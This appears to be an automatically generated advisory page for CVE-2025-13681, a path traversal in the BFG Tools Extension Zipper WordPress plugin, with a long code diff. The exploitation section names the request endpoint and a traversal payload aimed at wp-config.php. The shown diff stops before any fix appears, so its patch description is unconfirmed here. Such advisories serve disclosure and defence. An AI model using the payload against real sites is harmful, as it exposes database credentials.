Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13681: BFG Tools – Extension Zipper <= 1.0.7 – Authenticated (Administrator+) Path Traversal via 'first_file' Parameter (bfg-tools-extension-zipper)

Severity Medium (CVSS 4.9)
CWE 22
Vulnerable Version 1.0.7
Patched Version 1.0.8
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13681:
This vulnerability is an authenticated path traversal in the BFG Tools – Extension Zipper WordPress plugin. The flaw allows attackers with Administrator-level access to read arbitrary files and directories outside the intended /wp-content/plugins/ directory. The vulnerability affects all plugin versions up to and including 1.0.7, with a CVSS score of 4.9.

Root Cause:
The vulnerability exists in the zip() function at lines 201-204 of bfg-tools-extension-zipper.php. The function insufficiently validates the user-supplied ‘first_file’ parameter. The code constructs an absolute path by concatenating the plugins directory with the unsanitized ‘first_file’ value using $plugins_dir . ltrim( $first, ‘/’ ). This allows directory traversal sequences like ‘../../’ to escape the intended plugin directory. The plugin then uses plugin_dir_path() on this manipulated path, enabling access to arbitrary filesystem locations.

Exploitation:
An authenticated attacker with Administrator privileges submits a POST request to /wp-admin/admin-post.php with action=bfgtoexz_zip. The attacker manipulates the first_file parameter with directory traversal sequences. A payload like ‘../../../../wp-config.php’ causes the plugin to resolve a path outside the plugins directory. The plugin then attempts to create a ZIP archive from this location, potentially exposing sensitive files like wp-config.php, .htaccess, or other configuration files.

Patch Analysis:
The patch in version 1.0.8 adds validation to ensure the resolved path remains within the plugins directory. The fix introduces a check that compares the normalized source path against the expected plugins directory structure. The code now verifies that the resolved $src path starts with the $plugins_dir path and contains no directory traversal sequences. This prevents attackers from escaping the intended directory boundary.

Impact:
Successful exploitation allows attackers to read sensitive files outside the plugin directory. This includes WordPress configuration files (wp-config.php containing database credentials), server configuration files (.htaccess, .env), and other application files. While the vulnerability requires Administrator access, it enables information disclosure that could facilitate further attacks, including database compromise and privilege escalation.

Differential between vulnerable and patched code

Code Diff
--- a/bfg-tools-extension-zipper/bfg-tools-extension-zipper.php
+++ b/bfg-tools-extension-zipper/bfg-tools-extension-zipper.php
@@ -1,363 +1,363 @@
-<?php
-/**
- * Plugin Name: BFG Tools – Extension Zipper
- * Description: Zip any installed extension (plugins on your site) into a downloadable .zip. Appears under BFG Tools → Extension Zipper. Zips are saved under /wp-content/uploads/extension-zips.
- * Version: 1.0.7
- * Author: The Bald Fat Guy
- * License: GPLv2 or later
- * License URI: https://www.gnu.org/licenses/gpl-2.0.html
- * Text Domain: bfg-tools-extension-zipper
- */
-
-if ( ! defined( 'ABSPATH' ) ) exit;
-
-/** ------------------------------------------------------------------------
- *  Canonical constants (reviewer request: determine locations via helpers)
- *  --------------------------------------------------------------------- */
-define( 'BFGTOEXZ_PLUGIN_FILE', __FILE__ );
-define( 'BFGTOEXZ_PLUGIN_DIR',  plugin_dir_path( __FILE__ ) );
-define( 'BFGTOEXZ_PLUGIN_URL',  plugin_dir_url( __FILE__ ) );
-define( 'BFGTOEXZ_VERSION',     '1.0.6' );
-
-/** A unique, prefixed hub slug for this plugin’s top-level menu */
-define( 'BFGTOEXZ_HUB_SLUG', 'bfgtoexz-tools' );
-
-/** ------------------------------------------------------------------------
- *  Top-level “BFG Tools” hub (guarded + prefixed)
- *  --------------------------------------------------------------------- */
-if ( ! function_exists( 'bfgtoexz_tools_register_menu' ) ) {
-	function bfgtoexz_tools_register_menu() {
-		$slug = BFGTOEXZ_HUB_SLUG; // unique/prefixed
-
-		// Avoid duplicates if already created by this plugin
-		if ( isset( $GLOBALS['admin_page_hooks'][ $slug ] ) ) { return; }
-
-		add_menu_page(
-			__( 'BFG Tools', 'bfg-tools-extension-zipper' ),
-			__( 'BFG Tools', 'bfg-tools-extension-zipper' ),
-			'manage_options',
-			$slug,
-			'bfgtoexz_tools_render_hub',
-			'dashicons-archive',
-			65
-		);
-	}
-
-	function bfgtoexz_tools_render_hub() {
-		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_die( esc_html__( 'You do not have permission.', 'bfg-tools-extension-zipper' ) );
-		}
-		if ( ! function_exists( 'is_plugin_active' ) ) {
-			require_once ABSPATH . 'wp-admin/includes/plugin.php';
-		}
-
-		$cards = array();
-
-		// General card
-		$cards[] = array(
-			'title'    => __( 'General', 'bfg-tools-extension-zipper' ),
-			'desc'     => __( 'About BFG Tools and quick links.', 'bfg-tools-extension-zipper' ),
-			'url'      => admin_url( 'admin.php?page=' . BFGTOEXZ_HUB_SLUG ),
-			'external' => false,
-		);
-
-		// Extension Zipper (this plugin)
-		if ( function_exists( 'is_plugin_active' ) && is_plugin_active( plugin_basename( BFGTOEXZ_PLUGIN_FILE ) ) ) {
-			$cards[] = array(
-				'title'    => __( 'Extension Zipper', 'bfg-tools-extension-zipper' ),
-				'desc'     => __( 'Create downloadable ZIPs of installed extensions.', 'bfg-tools-extension-zipper' ),
-				'url'      => admin_url( 'admin.php?page=bfgtoexz-extension-zipper' ),
-				'external' => false,
-			);
-		}
-
-		// Theme Zipper (if installed)
-		if ( function_exists( 'is_plugin_active' ) && is_plugin_active( 'bfg-theme-zipper/bfg-theme-zipper.php' ) ) {
-			$cards[] = array(
-				'title'    => __( 'Theme Zipper', 'bfg-tools-extension-zipper' ),
-				'desc'     => __( 'Package installed themes into ZIPs.', 'bfg-tools-extension-zipper' ),
-				'url'      => admin_url( 'admin.php?page=bfg-theme-zipper' ),
-				'external' => false,
-			);
-		}
-
-		$site_url = apply_filters( 'bfgtoexz_tools_website_url', 'https://thebaldfatguy.com' );
-		$cards[] = array(
-			'title'    => __( 'Visit BFG Website', 'bfg-tools-extension-zipper' ),
-			'desc'     => __( 'More tools and updates.', 'bfg-tools-extension-zipper' ),
-			'url'      => esc_url( $site_url ),
-			'external' => true,
-		);
-		?>
-		<div class="wrap">
-			<h1 style="display:flex;align-items:center;gap:12px;margin-bottom:16px;">
-				<span class="dashicons dashicons-archive"></span>
-				<?php echo esc_html__( 'The Bald Fat Guy Tools', 'bfg-tools-extension-zipper' ); ?>
-			</h1>
-
-			<div style="display:grid;grid-template-columns:repeat(auto-fit,minmax(240px,1fr));gap:16px;">
-				<?php foreach ( $cards as $c ) : ?>
-					<div style="border:1px solid #dcdcde;border-radius:10px;padding:16px;background:#fff;">
-						<h2 style="margin:0 0 8px;font-size:1.1rem;"><?php echo esc_html( $c['title'] ); ?></h2>
-						<p style="margin:0 0 12px;color:#555;"><?php echo esc_html( $c['desc'] ); ?></p>
-						<?php if ( ! empty( $c['external'] ) ) : ?>
-							<a class="button button-secondary" href="<?php echo esc_url( $c['url'] ); ?>" target="_blank" rel="noopener"><?php esc_html_e( 'Open', 'bfg-tools-extension-zipper' ); ?></a>
-						<?php else : ?>
-							<a class="button" href="<?php echo esc_url( $c['url'] ); ?>"><?php esc_html_e( 'Open', 'bfg-tools-extension-zipper' ); ?></a>
-						<?php endif; ?>
-					</div>
-				<?php endforeach; ?>
-			</div>
-
-			<p style="margin-top:24px;color:#666;"><?php echo esc_html__( 'Written by The Bald Fat Guy', 'bfg-tools-extension-zipper' ); ?></p>
-		</div>
-		<?php
-	}
-	add_action( 'admin_menu', 'bfgtoexz_tools_register_menu' );
-}
-
-/** ------------------------------------------------------------------------
- *  Extension Zipper (prefixed, i18n fixed, safer paths)
- *  --------------------------------------------------------------------- */
-if ( ! function_exists( 'get_plugins' ) ) {
-	require_once ABSPATH . 'wp-admin/includes/plugin.php';
-}
-
-class BFGTOEXZ_Extension_Zipper {
-	const PAGE  = 'bfgtoexz-extension-zipper';
-	const NONCE = 'bfgtoexz_nonce';
-
-	public function __construct() {
-		add_action( 'admin_menu', array( $this, 'menu' ) );
-		add_action( 'admin_post_bfgtoexz_zip', array( $this, 'zip' ) );
-		add_filter( 'plugin_action_links_' . plugin_basename( BFGTOEXZ_PLUGIN_FILE ), array( $this, 'links' ) );
-		add_action( 'admin_notices', array( $this, 'notice' ) );
-	}
-
-	public function links( $links ) {
-		$links[] = '<a href="' . esc_url( admin_url( 'admin.php?page=' . self::PAGE ) ) . '">' . esc_html__( 'Open Extension Zipper', 'bfg-tools-extension-zipper' ) . '</a>';
-		return $links;
-	}
-
-	public function menu() {
-		add_submenu_page(
-			BFGTOEXZ_HUB_SLUG,
-			__( 'Extension Zipper', 'bfg-tools-extension-zipper' ),
-			__( 'Extension Zipper', 'bfg-tools-extension-zipper' ),
-			'manage_options',
-			self::PAGE,
-			array( $this, 'page' )
-		);
-	}
-
-	private function can_zip() { return class_exists( 'ZipArchive' ); }
-
-	/** Group plugins by top-level folder and keep first file path for proper plugin_dir_path() */
-	private function list_plugins_grouped() {
-		$all = get_plugins();
-		$by  = array();
-		foreach ( $all as $file => $data ) {
-			// $file example: 'akismet/akismet.php'
-			$parts = explode( '/', $file );
-			$dir   = $parts[0];
-			if ( ! $dir ) { continue; }
-
-			if ( ! isset( $by[ $dir ] ) ) {
-				$by[ $dir ] = array(
-					'dir'    => $dir,
-					'name'   => ! empty( $data['Name'] ) ? $data['Name'] : $dir,
-					'version'=> ! empty( $data['Version'] ) ? $data['Version'] : '',
-					'first'  => $file, // keep first file we see; good enough to resolve path
-				);
-			}
-		}
-		ksort( $by );
-		return $by;
-	}
-
-	public function notice() {
-		if ( ! current_user_can( 'manage_options' ) ) { return; }
-		$key = 'bfgtoexz_msg_' . get_current_user_id();
-		$msg = get_transient( $key );
-		if ( $msg ) {
-			delete_transient( $key );
-			echo '<div class="notice notice-success is-dismissible"><p>' . esc_html( $msg ) . '</p></div>';
-		}
-	}
-
-	public function page() {
-		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_die( esc_html__( 'No permission', 'bfg-tools-extension-zipper' ) );
-		}
-
-		$plugins = $this->list_plugins_grouped();
-		$uploads = wp_upload_dir();
-		$target_dir_fs  = trailingslashit( $uploads['basedir'] ) . 'extension-zips';
-		$target_dir_url = trailingslashit( $uploads['baseurl'] ) . 'extension-zips';
-		if ( ! file_exists( $target_dir_fs ) ) { wp_mkdir_p( $target_dir_fs ); }
-		$can = $this->can_zip(); ?>
-
-		<div class="wrap">
-			<div style="margin:8px 0 16px;">
-				<a class="button" href="<?php echo esc_url( admin_url( 'admin.php?page=' . BFGTOEXZ_HUB_SLUG ) ); ?>">← <?php echo esc_html__( 'Back to BFG Tools', 'bfg-tools-extension-zipper' ); ?></a>
-			</div>
-
-			<h1><?php echo esc_html__( 'BFG Extension Zipper', 'bfg-tools-extension-zipper' ); ?></h1>
-			<p>
-				<?php echo esc_html__( 'Creates .zip files and saves them to:', 'bfg-tools-extension-zipper' ); ?>
-				<code><?php echo esc_html( $target_dir_fs ); ?></code><br/>
-				<?php echo esc_html__( 'Zip URL base:', 'bfg-tools-extension-zipper' ); ?>
-				<code><?php echo esc_url( $target_dir_url ); ?></code>
-			</p>
-
-			<?php if ( ! $can ): ?>
-				<div class="notice notice-error"><p><?php esc_html_e( 'ZipArchive extension is required.', 'bfg-tools-extension-zipper' ); ?></p></div>
-			<?php endif; ?>
-
-			<table class="widefat striped">
-				<thead>
-					<tr>
-						<th><?php esc_html_e( 'Extension', 'bfg-tools-extension-zipper' ); ?></th>
-						<th><?php esc_html_e( 'Version', 'bfg-tools-extension-zipper' ); ?></th>
-						<th><?php esc_html_e( 'Folder', 'bfg-tools-extension-zipper' ); ?></th>
-						<th><?php esc_html_e( 'Actions', 'bfg-tools-extension-zipper' ); ?></th>
-					</tr>
-				</thead>
-				<tbody>
-				<?php foreach ( $plugins as $dir => $info ) :
-					$name     = $info['name'];
-					$ver      = $info['version'];
-					$first    = $info['first']; // e.g. 'akismet/akismet.php'
-					$base     = sanitize_title( $name ? $name : $dir );
-					$ver_part = $ver ? sanitize_title( $ver ) : ( 'v' . gmdate( 'Ymd-His' ) );
-					$zip_name = $base . '-' . $ver_part . '.zip';
-
-					$zip_path = trailingslashit( $target_dir_fs ) . $zip_name;
-					$zip_url  = trailingslashit( $target_dir_url ) . $zip_name; ?>
-					<tr>
-						<td><?php echo esc_html( $name ); ?></td>
-						<td><?php echo esc_html( $ver ? $ver : '—' ); ?></td>
-						<td><code><?php echo esc_html( $dir ); ?></code></td>
-						<td>
-							<?php if ( $can ): ?>
-								<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>" style="display:inline-block;margin-right:8px;">
-									<?php wp_nonce_field( self::NONCE ); ?>
-									<input type="hidden" name="action"     value="bfgtoexz_zip">
-									<input type="hidden" name="plugin_dir" value="<?php echo esc_attr( $dir ); ?>">
-									<input type="hidden" name="first_file" value="<?php echo esc_attr( $first ); ?>">
-									<input type="hidden" name="zip_name"   value="<?php echo esc_attr( $zip_name ); ?>">
-									<button class="button button-primary"><?php esc_html_e( 'Create Zip', 'bfg-tools-extension-zipper' ); ?></button>
-								</form>
-							<?php endif; ?>
-
-							<?php if ( file_exists( $zip_path ) ): ?>
-								<a class="button" href="<?php echo esc_url( $zip_url ); ?>" target="_blank" rel="noopener">
-									<?php esc_html_e( 'Download Latest Zip', 'bfg-tools-extension-zipper' ); ?>
-								</a>
-							<?php else: ?>
-								<span class="description"><?php esc_html_e( 'No zip yet', 'bfg-tools-extension-zipper' ); ?></span>
-							<?php endif; ?>
-						</td>
-					</tr>
-				<?php endforeach; ?>
-				</tbody>
-			</table>
-
-			<p class="description"><?php esc_html_e( 'Excludes: .git, .svn, node_modules, .DS_Store, *.log', 'bfg-tools-extension-zipper' ); ?></p>
-		</div>
-		<?php
-	}
-
-	public function zip() {
-		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_die( esc_html__( 'No permission', 'bfg-tools-extension-zipper' ) );
-		}
-		check_admin_referer( self::NONCE );
-
-		$dir   = isset( $_POST['plugin_dir'] )  ? sanitize_text_field( wp_unslash( $_POST['plugin_dir'] ) )  : '';
-		$first = isset( $_POST['first_file'] )  ? sanitize_text_field( wp_unslash( $_POST['first_file'] ) )  : '';
-		$zipn  = isset( $_POST['zip_name'] )    ? sanitize_file_name(  wp_unslash( $_POST['zip_name'] ) )    : '';
-		if ( ! $dir || ! $first || ! $zipn ) {
-			wp_die( esc_html__( 'Missing parameters', 'bfg-tools-extension-zipper' ) );
-		}
-
-		/**
-		 * Derive the /plugins/ dir from this plugin's path (no WP_PLUGIN_DIR).
-		 * plugin_dir_path(__FILE__) => .../plugins/this-plugin/
-		 * dirname() gives .../plugins/
-		 */
-		$plugins_dir = trailingslashit( dirname( BFGTOEXZ_PLUGIN_DIR ) ); // ends with /plugins/
-		$abs_first   = $plugins_dir . ltrim( $first, '/' );               // plugin-slug/main-file.php
-		$src         = plugin_dir_path( $abs_first );                      // .../plugins/plugin-slug/
-
-		if ( ! $src || ! file_exists( $src ) || ! is_dir( $src ) ) {
-			wp_die( esc_html__( 'Extension folder not found', 'bfg-tools-extension-zipper' ) );
-		}
-
-		$uploads = wp_upload_dir();
-		$dest    = trailingslashit( $uploads['basedir'] ) . 'extension-zips';
-		if ( ! file_exists( $dest ) ) { wp_mkdir_p( $dest ); }
-		$zip_path = trailingslashit( $dest ) . $zipn;
-
-		if ( ! class_exists( 'ZipArchive' ) ) {
-			wp_die( esc_html__( 'ZipArchive not available', 'bfg-tools-extension-zipper' ) );
-		}
-		$zip = new ZipArchive();
-		if ( true !== $zip->open( $zip_path, ZipArchive::CREATE | ZipArchive::OVERWRITE ) ) {
-			wp_die( esc_html__( 'Unable to create zip', 'bfg-tools-extension-zipper' ) );
-		}
-
-		$exclude_dirs = array( '.git','.svn','.github','.idea','node_modules','vendor/bin','__MACOSX' );
-		$exclude_exts = array( 'log','map' );
-
-		$src = wp_normalize_path( $src );
-		$len = strlen( $src );
-
-// Derive the actual plugin folder name dynamically.
-// Example: /plugins/woocommerce/ → zip root "woocommerce"
-$src_parts = explode('/', trim(str_replace(trailingslashit($plugins_dir), '', $src), '/'));
-$zip_root  = !empty($src_parts[0]) ? $src_parts[0] : basename($src);
-
-		$it = new RecursiveIteratorIterator(
-			new RecursiveDirectoryIterator( $src, FilesystemIterator::SKIP_DOTS ),
-			RecursiveIteratorIterator::SELF_FIRST
-		);
-
-		foreach ( $it as $fi ) {
-			$fp  = wp_normalize_path( $fi->getPathname() );
-			$rp  = ltrim( substr( $fp, $len ), '/' );
-			$ext = pathinfo( $rp, PATHINFO_EXTENSION );
-
-			// Exclude directories and certain extensions
-			foreach ( $exclude_dirs as $d ) {
-				$d = trim( $d, '/' );
-				if ( strpos( $rp, $d . '/' ) === 0 || $rp === $d ) {
-					continue 2;
-				}
-			}
-			if ( $ext && in_array( strtolower( $ext ), $exclude_exts, true ) ) {
-				continue;
-			}
-
-			if ( $fi->isDir() ) {
-				$zip->addEmptyDir( $zip_root . '/' . $rp );
-			} else {
-				$zip->addFile( $fp, $zip_root . '/' . $rp );
-			}
-		}
-		$zip->close();
-
-		/* translators: %s: generated ZIP filename. */
-		$msg = sprintf( __( 'Zip created: %s', 'bfg-tools-extension-zipper' ), basename( $zip_path ) );
-
-		set_transient(
-			'bfgtoexz_msg_' . get_current_user_id(),
-			$msg,
-			60
-		);
-
-		wp_safe_redirect( add_query_arg( array( 'page' => self::PAGE ), admin_url( 'admin.php' ) ) );
-		exit;
-	}
-}
-new BFGTOEXZ_Extension_Zipper();
+<?php
+/**
+ * Plugin Name: BFG Tools – Extension Zipper
+ * Description: Zip any installed extension (plugins on your site) into a downloadable .zip. Appears under BFG Tools → Extension Zipper. Zips are saved under /wp-content/uploads/extension-zips.
+ * Version: 1.0.8
+ * Author: The Bald Fat Guy
+ * License: GPLv2 or later
+ * License URI: https://www.gnu.org/licenses/gpl-2.0.html
+ * Text Domain: bfg-tools-extension-zipper
+ */
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+/** ------------------------------------------------------------------------
+ *  Canonical constants (reviewer request: determine locations via helpers)
+ *  --------------------------------------------------------------------- */
+define( 'BFGTOEXZ_PLUGIN_FILE', __FILE__ );
+define( 'BFGTOEXZ_PLUGIN_DIR',  plugin_dir_path( __FILE__ ) );
+define( 'BFGTOEXZ_PLUGIN_URL',  plugin_dir_url( __FILE__ ) );
+define( 'BFGTOEXZ_VERSION',     '1.0.6' );
+
+/** A unique, prefixed hub slug for this plugin’s top-level menu */
+define( 'BFGTOEXZ_HUB_SLUG', 'bfgtoexz-tools' );
+
+/** ------------------------------------------------------------------------
+ *  Top-level “BFG Tools” hub (guarded + prefixed)
+ *  --------------------------------------------------------------------- */
+if ( ! function_exists( 'bfgtoexz_tools_register_menu' ) ) {
+	function bfgtoexz_tools_register_menu() {
+		$slug = BFGTOEXZ_HUB_SLUG; // unique/prefixed
+
+		// Avoid duplicates if already created by this plugin
+		if ( isset( $GLOBALS['admin_page_hooks'][ $slug ] ) ) { return; }
+
+		add_menu_page(
+			__( 'BFG Tools', 'bfg-tools-extension-zipper' ),
+			__( 'BFG Tools', 'bfg-tools-extension-zipper' ),
+			'manage_options',
+			$slug,
+			'bfgtoexz_tools_render_hub',
+			'dashicons-archive',
+			65
+		);
+	}
+
+	function bfgtoexz_tools_render_hub() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( esc_html__( 'You do not have permission.', 'bfg-tools-extension-zipper' ) );
+		}
+		if ( ! function_exists( 'is_plugin_active' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/plugin.php';
+		}
+
+		$cards = array();
+
+		// General card
+		$cards[] = array(
+			'title'    => __( 'General', 'bfg-tools-extension-zipper' ),
+			'desc'     => __( 'About BFG Tools and quick links.', 'bfg-tools-extension-zipper' ),
+			'url'      => admin_url( 'admin.php?page=' . BFGTOEXZ_HUB_SLUG ),
+			'external' => false,
+		);
+
+		// Extension Zipper (this plugin)
+		if ( function_exists( 'is_plugin_active' ) && is_plugin_active( plugin_basename( BFGTOEXZ_PLUGIN_FILE ) ) ) {
+			$cards[] = array(
+				'title'    => __( 'Extension Zipper', 'bfg-tools-extension-zipper' ),
+				'desc'     => __( 'Create downloadable ZIPs of installed extensions.', 'bfg-tools-extension-zipper' ),
+				'url'      => admin_url( 'admin.php?page=bfgtoexz-extension-zipper' ),
+				'external' => false,
+			);
+		}
+
+		// Theme Zipper (if installed)
+		if ( function_exists( 'is_plugin_active' ) && is_plugin_active( 'bfg-theme-zipper/bfg-theme-zipper.php' ) ) {
+			$cards[] = array(
+				'title'    => __( 'Theme Zipper', 'bfg-tools-extension-zipper' ),
+				'desc'     => __( 'Package installed themes into ZIPs.', 'bfg-tools-extension-zipper' ),
+				'url'      => admin_url( 'admin.php?page=bfg-theme-zipper' ),
+				'external' => false,
+			);
+		}
+
+		$site_url = apply_filters( 'bfgtoexz_tools_website_url', 'https://thebaldfatguy.com' );
+		$cards[] = array(
+			'title'    => __( 'Visit BFG Website', 'bfg-tools-extension-zipper' ),
+			'desc'     => __( 'More tools and updates.', 'bfg-tools-extension-zipper' ),
+			'url'      => esc_url( $site_url ),
+			'external' => true,
+		);
+		?>
+		<div class="wrap">
+			<h1 style="display:flex;align-items:center;gap:12px;margin-bottom:16px;">
+				<span class="dashicons dashicons-archive"></span>
+				<?php echo esc_html__( 'The Bald Fat Guy Tools', 'bfg-tools-extension-zipper' ); ?>
+			</h1>
+
+			<div style="display:grid;grid-template-columns:repeat(auto-fit,minmax(240px,1fr));gap:16px;">
+				<?php foreach ( $cards as $c ) : ?>
+					<div style="border:1px solid #dcdcde;border-radius:10px;padding:16px;background:#fff;">
+						<h2 style="margin:0 0 8px;font-size:1.1rem;"><?php echo esc_html( $c['title'] ); ?></h2>
+						<p style="margin:0 0 12px;color:#555;"><?php echo esc_html( $c['desc'] ); ?></p>
+						<?php if ( ! empty( $c['external'] ) ) : ?>
+							<a class="button button-secondary" href="<?php echo esc_url( $c['url'] ); ?>" target="_blank" rel="noopener"><?php esc_html_e( 'Open', 'bfg-tools-extension-zipper' ); ?></a>
+						<?php else : ?>
+							<a class="button" href="<?php echo esc_url( $c['url'] ); ?>"><?php esc_html_e( 'Open', 'bfg-tools-extension-zipper' ); ?></a>
+						<?php endif; ?>
+					</div>
+				<?php endforeach; ?>
+			</div>
+
+			<p style="margin-top:24px;color:#666;"><?php echo esc_html__( 'Written by The Bald Fat Guy', 'bfg-tools-extension-zipper' ); ?></p>
+		</div>
+		<?php
+	}
+	add_action( 'admin_menu', 'bfgtoexz_tools_register_menu' );
+}
+
+/** ------------------------------------------------------------------------
+ *  Extension Zipper (prefixed, i18n fixed, safer paths)
+ *  --------------------------------------------------------------------- */
+if ( ! function_exists( 'get_plugins' ) ) {
+	require_once ABSPATH . 'wp-admin/includes/plugin.php';
+}
+
+class BFGTOEXZ_Extension_Zipper {
+	const PAGE  = 'bfgtoexz-extension-zipper';
+	const NONCE = 'bfgtoexz_nonce';
+
+	public function __construct() {
+		add_action( 'admin_menu', array( $this, 'menu' ) );
+		add_action( 'admin_post_bfgtoexz_zip', array( $this, 'zip' ) );
+		add_filter( 'plugin_action_links_' . plugin_basename( BFGTOEXZ_PLUGIN_FILE ), array( $this, 'links' ) );
+		add_action( 'admin_notices', array( $this, 'notice' ) );
+	}
+
+	public function links( $links ) {
+		$links[] = '<a href="' . esc_url( admin_url( 'admin.php?page=' . self::PAGE ) ) . '">' . esc_html__( 'Open Extension Zipper', 'bfg-tools-extension-zipper' ) . '</a>';
+		return $links;
+	}
+
+	public function menu() {
+		add_submenu_page(
+			BFGTOEXZ_HUB_SLUG,
+			__( 'Extension Zipper', 'bfg-tools-extension-zipper' ),
+			__( 'Extension Zipper', 'bfg-tools-extension-zipper' ),
+			'manage_options',
+			self::PAGE,
+			array( $this, 'page' )
+		);
+	}
+
+	private function can_zip() { return class_exists( 'ZipArchive' ); }
+
+	/** Group plugins by top-level folder and keep first file path for proper plugin_dir_path() */
+	private function list_plugins_grouped() {
+		$all = get_plugins();
+		$by  = array();
+		foreach ( $all as $file => $data ) {
+			// $file example: 'akismet/akismet.php'
+			$parts = explode( '/', $file );
+			$dir   = $parts[0];
+			if ( ! $dir ) { continue; }
+
+			if ( ! isset( $by[ $dir ] ) ) {
+				$by[ $dir ] = array(
+					'dir'    => $dir,
+					'name'   => ! empty( $data['Name'] ) ? $data['Name'] : $dir,
+					'version'=> ! empty( $data['Version'] ) ? $data['Version'] : '',
+					'first'  => $file, // keep first file we see; good enough to resolve path
+				);
+			}
+		}
+		ksort( $by );
+		return $by;
+	}
+
+	public function notice() {
+		if ( ! current_user_can( 'manage_options' ) ) { return; }
+		$key = 'bfgtoexz_msg_' . get_current_user_id();
+		$msg = get_transient( $key );
+		if ( $msg ) {
+			delete_transient( $key );
+			echo '<div class="notice notice-success is-dismissible"><p>' . esc_html( $msg ) . '</p></div>';
+		}
+	}
+
+	public function page() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( esc_html__( 'No permission', 'bfg-tools-extension-zipper' ) );
+		}
+
+		$plugins = $this->list_plugins_grouped();
+		$uploads = wp_upload_dir();
+		$target_dir_fs  = trailingslashit( $uploads['basedir'] ) . 'extension-zips';
+		$target_dir_url = trailingslashit( $uploads['baseurl'] ) . 'extension-zips';
+		if ( ! file_exists( $target_dir_fs ) ) { wp_mkdir_p( $target_dir_fs ); }
+		$can = $this->can_zip(); ?>
+
+		<div class="wrap">
+			<div style="margin:8px 0 16px;">
+				<a class="button" href="<?php echo esc_url( admin_url( 'admin.php?page=' . BFGTOEXZ_HUB_SLUG ) ); ?>">← <?php echo esc_html__( 'Back to BFG Tools', 'bfg-tools-extension-zipper' ); ?></a>
+			</div>
+
+			<h1><?php echo esc_html__( 'BFG Extension Zipper', 'bfg-tools-extension-zipper' ); ?></h1>
+			<p>
+				<?php echo esc_html__( 'Creates .zip files and saves them to:', 'bfg-tools-extension-zipper' ); ?>
+				<code><?php echo esc_html( $target_dir_fs ); ?></code><br/>
+				<?php echo esc_html__( 'Zip URL base:', 'bfg-tools-extension-zipper' ); ?>
+				<code><?php echo esc_url( $target_dir_url ); ?></code>
+			</p>
+
+			<?php if ( ! $can ): ?>
+				<div class="notice notice-error"><p><?php esc_html_e( 'ZipArchive extension is required.', 'bfg-tools-extension-zipper' ); ?></p></div>
+			<?php endif; ?>
+
+			<table class="widefat striped">
+				<thead>
+					<tr>
+						<th><?php esc_html_e( 'Extension', 'bfg-tools-extension-zipper' ); ?></th>
+						<th><?php esc_html_e( 'Version', 'bfg-tools-extension-zipper' ); ?></th>
+						<th><?php esc_html_e( 'Folder', 'bfg-tools-extension-zipper' ); ?></th>
+						<th><?php esc_html_e( 'Actions', 'bfg-tools-extension-zipper' ); ?></th>
+					</tr>
+				</thead>
+				<tbody>
+				<?php foreach ( $plugins as $dir => $info ) :
+					$name     = $info['name'];
+					$ver      = $info['version'];
+					$first    = $info['first']; // e.g. 'akismet/akismet.php'
+					$base     = sanitize_title( $name ? $name : $dir );
+					$ver_part = $ver ? sanitize_title( $ver ) : ( 'v' . gmdate( 'Ymd-His' ) );
+					$zip_name = $base . '-' . $ver_part . '.zip';
+
+					$zip_path = trailingslashit( $target_dir_fs ) . $zip_name;
+					$zip_url  = trailingslashit( $target_dir_url ) . $zip_name; ?>
+					<tr>
+						<td><?php echo esc_html( $name ); ?></td>
+						<td><?php echo esc_html( $ver ? $ver : '—' ); ?></td>
+						<td><code><?php echo esc_html( $dir ); ?></code></td>
+						<td>
+							<?php if ( $can ): ?>
+								<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>" style="display:inline-block;margin-right:8px;">
+									<?php wp_nonce_field( self::NONCE ); ?>
+									<input type="hidden" name="action"     value="bfgtoexz_zip">
+									<input type="hidden" name="plugin_dir" value="<?php echo esc_attr( $dir ); ?>">
+									<input type="hidden" name="first_file" value="<?php echo esc_attr( $first ); ?>">
+									<input type="hidden" name="zip_name"   value="<?php echo esc_attr( $zip_name ); ?>">
+									<button class="button button-primary"><?php esc_html_e( 'Create Zip', 'bfg-tools-extension-zipper' ); ?></button>
+								</form>
+							<?php endif; ?>
+
+							<?php if ( file_exists( $zip_path ) ): ?>
+								<a class="button" href="<?php echo esc_url( $zip_url ); ?>" target="_blank" rel="noopener">
+									<?php esc_html_e( 'Download Latest Zip', 'bfg-tools-extension-zipper' ); ?>
+								</a>
+							<?php else: ?>
+								<span class="description"><?php esc_html_e( 'No zip yet', 'bfg-tools-extension-zipper' ); ?></span>
+							<?php endif; ?>
+						</td>
+					</tr>
+				<?php endforeach; ?>
+				</tbody>
+			</table>
+
+			<p class="description"><?php esc_html_e( 'Excludes: .git, .svn, node_modules, .DS_Store, *.log', 'bfg-tools-extension-zipper' ); ?></p>
+		</div>
+		<?php
+	}
+
+	public function zip() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( esc_html__( 'No permission', 'bfg-tools-extension-zipper' ) );
+		}
+		check_admin_referer( self::NONCE );
+
+		$dir   = isset( $_POST['plugin_dir'] )  ? sanitize_text_field( wp_unslash( $_POST['plugin_dir'] ) )  : '';
+		$first = isset( $_POST['first_file'] )  ? sanitize_text_field( wp_unslash( $_POST['first_file'] ) )  : '';
+		$zipn  = isset( $_POST['zip_name'] )    ? sanitize_file_name(  wp_unslash( $_POST['zip_name'] ) )    : '';
+		if ( ! $dir || ! $first || ! $zipn ) {
+			wp_die( esc_html__( 'Missing parameters', 'bfg-tools-extension-zipper' ) );
+		}
+
+		/**
+		 * Derive the /plugins/ dir from this plugin's path (no WP_PLUGIN_DIR).
+		 * plugin_dir_path(__FILE__) => .../plugins/this-plugin/
+		 * dirname() gives .../plugins/
+		 */
+		$plugins_dir = trailingslashit( dirname( BFGTOEXZ_PLUGIN_DIR ) ); // ends with /plugins/
+		$abs_first   = $plugins_dir . ltrim( $first, '/' );               // plugin-slug/main-file.php
+		$src         = plugin_dir_path( $abs_first );                      // .../plugins/plugin-slug/
+
